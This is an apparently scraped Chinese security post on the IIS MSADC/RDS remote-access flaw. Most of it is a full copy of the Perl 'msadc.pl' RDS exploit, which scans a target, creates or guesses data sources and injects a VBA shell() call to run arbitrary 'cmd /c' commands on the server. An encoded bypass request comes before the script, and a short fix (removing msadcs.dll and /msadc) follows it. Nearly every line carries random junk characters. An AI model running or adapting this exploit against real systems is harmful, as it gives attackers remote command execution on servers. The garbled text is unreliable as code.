IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
}+NlYD:qF |.~2C14[ 涉及程序:
2sBYy 8.r Microsoft NT server
B_c-@kl AA|G&&1y
描述:
9Z2aFW9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=;8q` 4tiCxf) 详细:
xjDaA U, 如果你没有时间读详细内容的话,就删除:
q/7T-"q/G c:\Program Files\Common Files\System\Msadc\msadcs.dll
L{f0r!d| 有关的安全问题就没有了。
Ov:U3P?% 7'{%djL 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
3gCP?%R -oju-gf K 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
#B$_ily) 关于利用ODBC远程漏洞的描述,请参看:
X=Y>9 ]nS9taEA http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O St~P^1 #R=6$ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
g>?,,y6/w http://www.microsoft.com/security/bulletins/MS99-025faq.asp &fxyY( sBN4:8 这里不再论述。
B`%%,SLJ oe_,q&e 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
NUY sQO) I7#+B1t /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
A{hST~s 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
}N3Ur~X\ _rUsb4r \$8p8MP<&D #将下面这段保存为txt文件,然后: "perl -x 文件名"
#=fd8}9 7&dPrnQX= #!perl
v Dph}Z #
bsWDjV~ # MSADC/RDS 'usage' (aka exploit) script
n
QOLR?% #
M)nf(jw#G # by rain.forest.puppy
IrP6Rxh #
9jUm0B{? # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Z+;670Z # beta test and find errors!
V,3$>4x 1B`0.M'd use Socket; use Getopt::Std;
O;;vz+ j getopts("e:vd:h:XR", \%args);
X%M*d%n b nR?m,J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;Uj=rS`Q (@*#Pn|A if (!defined $args{h} && !defined $args{R}) {
>\ ym{@+* print qq~
sv>c)L}I Usage: msadc.pl -h <host> { -d <delay> -X -v }
A$'rT|>se -h <host> = host you want to scan (ip or domain)
9TE-'R@ -d <seconds> = delay between calls, default 1 second
IPh_QE2g -X = dump Index Server path table, if available
(XA]k%45 -v = verbose
h,Tsb:Q"M -e = external dictionary file for step 5
ZsDn`8 w W;!L=j Or a -R will resume a command session
)Chx,pcx< /aMeKM[L` ~; exit;}
T CO^9RP< "IsDL^)A9 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
"(y| iS$^T if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
A!5)$>!o if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Z}6H529[ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}"9jCxXL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[hXU$Y>"0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
W-U[7n H!{Cr#= if (!defined $args{R}){ $ret = &has_msadc;
L
sMS`o6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
uJHf6Ye I'RhA\` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
@Nt$B'+S& . "cmd /c ";
#%tN2cFDN $in=<STDIN>; chomp $in;
zFV?,"\r $command="cmd /c " . $in ;
"^@0zy@x 4#@zn 2l if (defined $args{R}) {&load; exit;}
s@bo df& A&QO]8 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(}n,Ou[ &try_btcustmr;
jJCd2O] Q2/ZO2 print "\nStep 2: Trying to make our own DSN...";
E%C02sI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
zpd Z. \XlT print "\nStep 3: Trying known DSNs...";
}Pe0zx.Ge &known_dsn;
{oN7I'> hGvuA9d~ print "\nStep 4: Trying known .mdbs...";
}M9L,O*^ &known_mdb;
{e8.E<f- +3D3[.n if (defined $args{e}){
s4c2 print "\nStep 5: Trying dictionary of DSN names...";
_[.3I1kG &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[Y]\sF;J ra k@oW] print "Sorry Charley...maybe next time?\n";
qS|t7* exit;
sIh,@b +V6N/{^5 ##############################################################################
$n?@zd@53 ,;yiV<AD sub sendraw { # ripped and modded from whisker
OL|UOG sleep($delay); # it's a DoS on the server! At least on mine...
d^WEfH my ($pstr)=@_;
[SJ*ks,] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
f#UT~/~bL2 die("Socket problems\n");
}-R|f_2Hp if(connect(S,pack "SnA4x8",2,80,$target)){
Am?
d HP select(S); $|=1;
W[Ro) print $pstr; my @in=<S>;
xTW$9>@\m select(STDOUT); close(S);
vHPp$lql return @in;
p M:lg } else { die("Can't connect...\n"); }}
X4U$#uI{ E=Z.v ##############################################################################
k%)QrRnB SXA_P{j&a sub make_header { # make the HTTP request
;'r} D!8w/ my $msadc=<<EOT
Jtxwt[ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
t)O$W User-Agent: ACTIVEDATA
D
f H>UA Host: $ip
DLv\]\h}L Content-Length: $clen
bm_'giQ: Connection: Keep-Alive
WL<$(y:H EnGVp<6R ADCClientVersion:01.06
C&m[/PJ~l Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
EI*B( -*u7MFq_ --!ADM!ROX!YOUR!WORLD!
/=}w%-;/; Content-Type: application/x-varg
L}1|R*b Content-Length: $reqlen
>>voL DDd /8i3 I5* EOT
7 Ld5 ; $msadc=~s/\n/\r\n/g;
9a5x~Z:' return $msadc;}
tTB,eR$ Eh)PZvH ##############################################################################
|Psi?'4 c1?_L( sub make_req { # make the RDS request
)8:Ltn% my ($switch, $p1, $p2)=@_;
cf#2Wg) my $req=""; my $t1, $t2, $query, $dsn;
!A
)2<<4 9""e*-;Mi if ($switch==1){ # this is the btcustmr.mdb query
? -PRS.=% $query="Select * from Customers where City=" . make_shell();
W0&NX`m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^b]h4z$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
"+iPeRF!hU >'^Tp7\ elsif ($switch==2){ # this is general make table query
Uv~r]P) $query="create table AZZ (B int, C varchar(10))";
Y9)uy 8c $dsn="$p1";}
%OeA"# <0r2m4z elsif ($switch==3){ # this is general exploit table query
gUs.D_* $query="select * from AZZ where C=" . make_shell();
)B86 $dsn="$p1";}
+pcpb)VL ?H\K]; elsif ($switch==4){ # attempt to hork file info from index server
F(J6 XnQ $query="select path from scope()";
)DS|mM) $dsn="Provider=MSIDXS;";}
z
%Ty; x roo_ elsif ($switch==5){ # bad query
?CgqHmf\\( $query="select";
[%M=nJ{8 $dsn="$p1";}
fD<9k (*>%^ C? $t1= make_unicode($query);
S:IhJQ4K $t2= make_unicode($dsn);
Nr?Z[6O| $req = "\x02\x00\x03\x00";
V7Z+@e-5
$req.= "\x08\x00" . pack ("S1", length($t1));
\a+.~_iL| $req.= "\x00\x00" . $t1 ;
Y[l*>}:w $req.= "\x08\x00" . pack ("S1", length($t2));
}&+b\RE $req.= "\x00\x00" . $t2 ;
uOzol~TU) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
tA2Py return $req;}
fk5xIW 1 PL2[_2: ##############################################################################
w\o?p.drp= )YE3n-~7{ sub make_shell { # this makes the shell() statement
!2-f%x]tO return "'|shell(\"$command\")|'";}
_?"P<3/iF lxIoP ##############################################################################
s9R#rwIc J!40`8i sub make_unicode { # quick little function to convert to unicode
9K]Li\ my ($in)=@_; my $out;
*E*=
;BG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
'aYUF&GG return $out;}
[Yr}:B
< eD4D<\* ##############################################################################
3
q1LIM 6'YT3= sub rdo_success { # checks for RDO return success (this is kludge)
cR'l\iv+ my (@in) = @_; my $base=content_start(@in);
e
:(7$jo if($in[$base]=~/multipart\/mixed/){
w;@NYMK) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
cEI
"
return 0;}
(_h=|VjK(I >|{n";n& ##############################################################################
U($bR|%D !&'GWQY{( sub make_dsn { # this makes a DSN for us
w; [ndZCY7 my @drives=("c","d","e","f");
zSy^vM;6zf print "\nMaking DSN: ";
V
iY -&q' foreach $drive (@drives) {
`1}WQS print "$drive: ";
aQjs5RbP~ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
05o)Q &` "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
0 &M~lJ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
" Y%fk/v8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
hkS0 ae return 0 if $2 eq "404"; # not found/doesn't exist
~
_ ogeD if($2 eq "200") {
>6Y@8 ) foreach $line (@results) {
kYbqb? return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k }amSsE } return 0;}
_C`&(?} _}bs0 kIz ##############################################################################
`_YXU =VC"X ?N sub verify_exists {
V{jQ=<)@e my ($page)=@_;
@c;XwU]2t my @results=sendraw("GET $page HTTP/1.0\n\n");
R[#Np`z return $results[0];}
{5 V@O_*{ |7Dc7p"D ##############################################################################
QZwUv<* rra|}l4Y sub try_btcustmr {
EM2=g9y my @drives=("c","d","e","f");
k^VL{z:EWB my @dirs=("winnt","winnt35","winnt351","win","windows");
o >wty3l: A9 *P7 foreach $dir (@dirs) {
:.DZ~I print "$dir -> "; # fun status so you can see progress
>m:;.vVY foreach $drive (@drives) {
]|m?pt print "$drive: "; # ditto
nXU`^<nA $reqlen=length( make_req(1,$drive,$dir) ) - 28;
u[:-^H $reqlenlen=length( "$reqlen" );
p!oO}gE $clen= 206 + $reqlenlen + $reqlen;
()'yY^ /penB[1i my @results=sendraw(make_header() . make_req(1,$drive,$dir));
NL^;C3u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
kAV4V;ydh else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
53X i) :)9CG!2y<M ##############################################################################
_cc37[ B4
k5IS sub odbc_error {
e
w%rc.; my (@in)=@_; my $base;
*x!j:/S`n my $base = content_start(@in);
KPi_<LuK if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
dI(1L~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
eoj(zY3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pyw]ydB $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5'<J@3B return $in[$base+4].$in[$base+5].$in[$base+6];}
:$=]*54`T print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
(X?HuWTm print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
dz6&TdEl $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9kzJ5} w,T-vf ##############################################################################
xe4`D>LUo qdPmTaak sub verbose {
,Gi%D3lA my ($in)=@_;
P7 h^!a/ return if !$verbose;
m@i](1*T| print STDOUT "\n$in\n";}
>6KwZr BB j'uzjs[ ##############################################################################
eK[9wEdn x%yzhIRR sub save {
.: Zw6 my ($p1, $p2, $p3, $p4)=@_;
H73 r3BH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
J4]tT pu"K print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
HIqe~Vc close OUT;}
V8O-|7H$v :IX_|8e ^ ##############################################################################
z8dBfA<z < ZG!w^ sub load {
v t_lM my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
W5uC5C*,l open(IN,"<rds.save") || die("Couldn't open rds.save\n");
wii.0~p @p=<IN>; close(IN);
>~l^E!<i-u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
en"\2+{Cg $target= inet_aton($ip) || die("inet_aton problems");
vkLKzsN' ] print "Resuming to $ip ...";
s-4qK(ml- $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
vX?C9Fr 2 if($p[1]==1) {
y&A&d- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Obx!>mI^6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
C';Dc4j my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
~bqw !rz if (rdo_success(@results)){print "Success!\n";}
,`8:@<e else { print "failed\n"; verbose(odbc_error(@results));}}
N(kSE^skOa elsif ($p[1]==3){
G|I}x/X"Q7 if(run_query("$p[3]")){
4nXemU= print "Success!\n";} else { print "failed\n"; }}
cpm *m"Nk elsif ($p[1]==4){
3F8KF`* if(run_query($drvst . "$p[3]")){
*^iSP(dg print "Success!\n"; } else { print "failed\n"; }}
[1l OGck[ exit;}
5`6U:MDq ,:{+-v( ##############################################################################
`k7X| (+nnX7V?I sub create_table {
Z kBWVZb my ($in)=@_;
ub2B!6f a $reqlen=length( make_req(2,$in,"") ) - 28;
? r}2JHvN $reqlenlen=length( "$reqlen" );
sVH
w\_F$ $clen= 206 + $reqlenlen + $reqlen;
l\TL=8u2c
my @results=sendraw(make_header() . make_req(2,$in,""));
RS|*3
$1 return 1 if rdo_success(@results);
.7+"KP: my $temp= odbc_error(@results); verbose($temp);
zhe~kI return 1 if $temp=~/Table 'AZZ' already exists/;
Ih[k{p return 0;}
Zul@aS
! y,6KU$G ##############################################################################
e35 ")z~ vCn~-Q sub known_dsn {
W!|l_/L' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
CropHB/t my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
BO+to. "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
?weuq"*a "banner", "banners", "ads", "ADCDemo", "ADCTest");
k&:~l@?O hP_{$c{4:g foreach $dSn (@dsns) {
s~A:*2 \ print ".";
@o&UF-=MW( next if (!is_access("DSN=$dSn"));
T#KVN{O if(create_table("DSN=$dSn")){
%r@:7/ print "$dSn successful\n";
A~;.9{6J[t if(run_query("DSN=$dSn")){
_`Dz%(c print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
t1p[!53( print "Something's borked. Use verbose next time\n";}}} print "\n";}
{>3w"(f7o z3M6<.K ##############################################################################
P)[QC u}7r\MnwK, sub is_access {
M(:_(4~ my ($in)=@_;
S-79uo $reqlen=length( make_req(5,$in,"") ) - 28;
Yez $reqlenlen=length( "$reqlen" );
=j@8/ $clen= 206 + $reqlenlen + $reqlen;
?SX0e(+}} my @results=sendraw(make_header() . make_req(5,$in,""));
G{.A5{ my $temp= odbc_error(@results);
\,G19o}`Es verbose($temp); return 1 if ($temp=~/Microsoft Access/);
~2UmX' return 0;}
}<q=Zq+ nIl<2H]F` ##############################################################################
lgC^32y 5 HN,y sub run_query {
E6xWo)`%5s my ($in)=@_;
zeuSk|O $reqlen=length( make_req(3,$in,"") ) - 28;
CYNpbv $reqlenlen=length( "$reqlen" );
3ZqtIQY` $clen= 206 + $reqlenlen + $reqlen;
wEEFpn_ my @results=sendraw(make_header() . make_req(3,$in,""));
ROj=XM:+ return 1 if rdo_success(@results);
2'WdH1UrBc my $temp= odbc_error(@results); verbose($temp);
!<^`Sx/+ return 0;}
; zfBe%Uf J|b:Zo9<f" ##############################################################################
d-"[-+)- Ot3+<{ sub known_mdb {
e(k$k>? my @drives=("c","d","e","f","g");
!Op18hP$ my @dirs=("winnt","winnt35","winnt351","win","windows");
ntF#x.1Pm my $dir, $drive, $mdb;
3M{b:|3/q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
g%d&>y?1r 4\Cb4jq%/ # this is sparse, because I don't know of many
C5oIl_t my @sysmdbs=( "\\catroot\\icatalog.mdb",
hN_,Vyf "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
dUpOg{I.x "\\system32\\certmdb.mdb",
CYC6:g|) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
\4&FW|mx 7033#@_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
?T:$:IHw "\\cfusion\\cfapps\\forums\\forums_.mdb",
#|{^k u "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
2n5{H fpY "\\cfusion\\cfapps\\security\\realm_.mdb",
[u`9R<>c"U "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Dz&<6#L< "\\cfusion\\database\\cfexamples.mdb",
.e2K\o "\\cfusion\\database\\cfsnippets.mdb",
L QP4#7 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
E- rXYNfy "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
GGn/J&k "\\cfusion\\brighttiger\\database\\cleam.mdb",
,h$j%->U "\\cfusion\\database\\smpolicy.mdb",
atWAhN "\\cfusion\\database\cypress.mdb",
rDWqJ<8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ic|>JX$G "\\website\\cgi-win\\dbsample.mdb",
}g[(h=Qi "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
NYZI;P1DA "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
8fs::}0 ); #these are just
9S[Tan| foreach $drive (@drives) {
;/-#oW@gQ foreach $dir (@dirs){
`F1 ( v foreach $mdb (@sysmdbs) {
;u: }rA) print ".";
SwPc<Z?P if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
79Vp^GG7 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
z|>f*Z if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
KwuNHK)- print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
ni x1_Wo; } else { print "Something's borked. Use verbose next time\n"; }}}}}
&tE#1<k !U!}*clYL foreach $drive (@drives) {
*S4*FH;8 foreach $mdb (@mdbs) {
{pNf&' print ".";
9}6^5f?| if(create_table($drv . $drive . $dir . $mdb)){
=2[U4<d!R print "\n" . $drive . $dir . $mdb . " successful\n";
yasKU6^R' if(run_query($drv . $drive . $dir . $mdb)){
1(z+*`"WB& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
ocT.2/~d } else { print "Something's borked. Use verbose next time\n"; }}}}
l~Sn`%PgA }
sGD b< 6?c(ue iL[ ##############################################################################
I~>L4~g) h47l;`kD-# sub hork_idx {
#0j,1NpL print "\nAttempting to dump Index Server tables...\n";
xN#. Pm~ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
B]YY[i $reqlen=length( make_req(4,"","") ) - 28;
$?u ^hMU= $reqlenlen=length( "$reqlen" );
i
bwnK?ZA $clen= 206 + $reqlenlen + $reqlen;
Ka\%kB>*` my @results=sendraw2(make_header() . make_req(4,"",""));
SggS8$a` if (rdo_success(@results)){
fX2PteA0qX my $max=@results; my $c; my %d;
S?_ ;$Cn for($c=19; $c<$max; $c++){
3QrYH
@7zx $results[$c]=~s/\x00//g;
X pd^^ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ii@O&g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
DOm5 azO!> $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
xd H*[ $d{"$1$2"}="";}
]OOL4=b foreach $c (keys %d){ print "$c\n"; }
0oi
=}lV } else {print "Index server doesn't seem to be installed.\n"; }}
\'40u|f K}U}h>N ##############################################################################
bh1WD_ W@x
UR-}51 sub dsn_dict {
z_p/.kQ'5 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*tda_B
2 while(<IN>){
}]H_|V*f $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<j.bG 7 next if (!is_access("DSN=$dSn"));
}$ Am;%?p if(create_table("DSN=$dSn")){
:d<;h:^_ print "$dSn successful\n";
217KJ~)' if(run_query("DSN=$dSn")){
$h-5PwHp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bG0t7~!{E print "Something's borked. Use verbose next time\n";}}}
#`mo5 print "\n"; close(IN);}
pcw^W
dSb|hA}@ ##############################################################################
[$Ld>`3 n(b(H`1n sub sendraw2 { # ripped and modded from whisker
##!)}i sleep($delay); # it's a DoS on the server! At least on mine...
wKCHG/W my ($pstr)=@_;
y$At$i>u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XY8s \DK die("Socket problems\n");
?1(' s0s\, if(connect(S,pack "SnA4x8",2,80,$target)){
<Dw`Ur^ X5 print "Connected. Getting data";
!RnO{FL open(OUT,">raw.out"); my @in;
\gL
H_$} select(S); $|=1; print $pstr;
t,.MtU>K@ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$Rsf`*0- close(OUT); select(STDOUT); close(S); return @in;
+t
R6[% } else { die("Can't connect...\n"); }}
J..>ApX 1TKOvy_ ##############################################################################
RTNUHz;{L ]cnLJ^2 sub content_start { # this will take in the server headers
XnQo0
R.PW my (@in)=@_; my $c;
0f
1Lu)
2 for ($c=1;$c<500;$c++) {
g@.RfX= if($in[$c] =~/^\x0d\x0a/){
#"a?3!wr if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
H85HL-{ else { return $c+1; }}}
H\2+cAFN# return -1;} # it should never get here actually
% zs 1v] ` =!&9o ##############################################################################
z$E+xZ /}Y>_87 sub funky {
[BHf> my (@in)=@_; my $error=odbc_error(@in);
Mrp'wF
D if($error=~/ADO could not find the specified provider/){
8Z!+1b print "\nServer returned an ADO miscofiguration message\nAborting.\n";
k|,pj^ exit;}
2@o_7w98 if($error=~/A Handler is required/){
FG-w7a2mn print "\nServer has custom handler filters (they most likely are patched)\n";
Nf>1`eP exit;}
02} &h if($error=~/specified Handler has denied Access/){
4?X#d)L( print "\nServer has custom handler filters (they most likely are patched)\n";
. oUaq|O exit;}}
*tjE#TW 2i4FIS|z0 ##############################################################################
Xz0jjO, 0CxQ@~ttl sub has_msadc {
A?3hNvfx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
lkV%
k1w my $base=content_start(@results);
y5.Z <Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)kl| 5i return 0;}
>UpTMEQ hFP$MFab ########################
S?%V o* Y 50(/LV1 k`r}Gb 解决方案:
:*e0Z2= 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8f% @ 2、移除web 目录: /msadc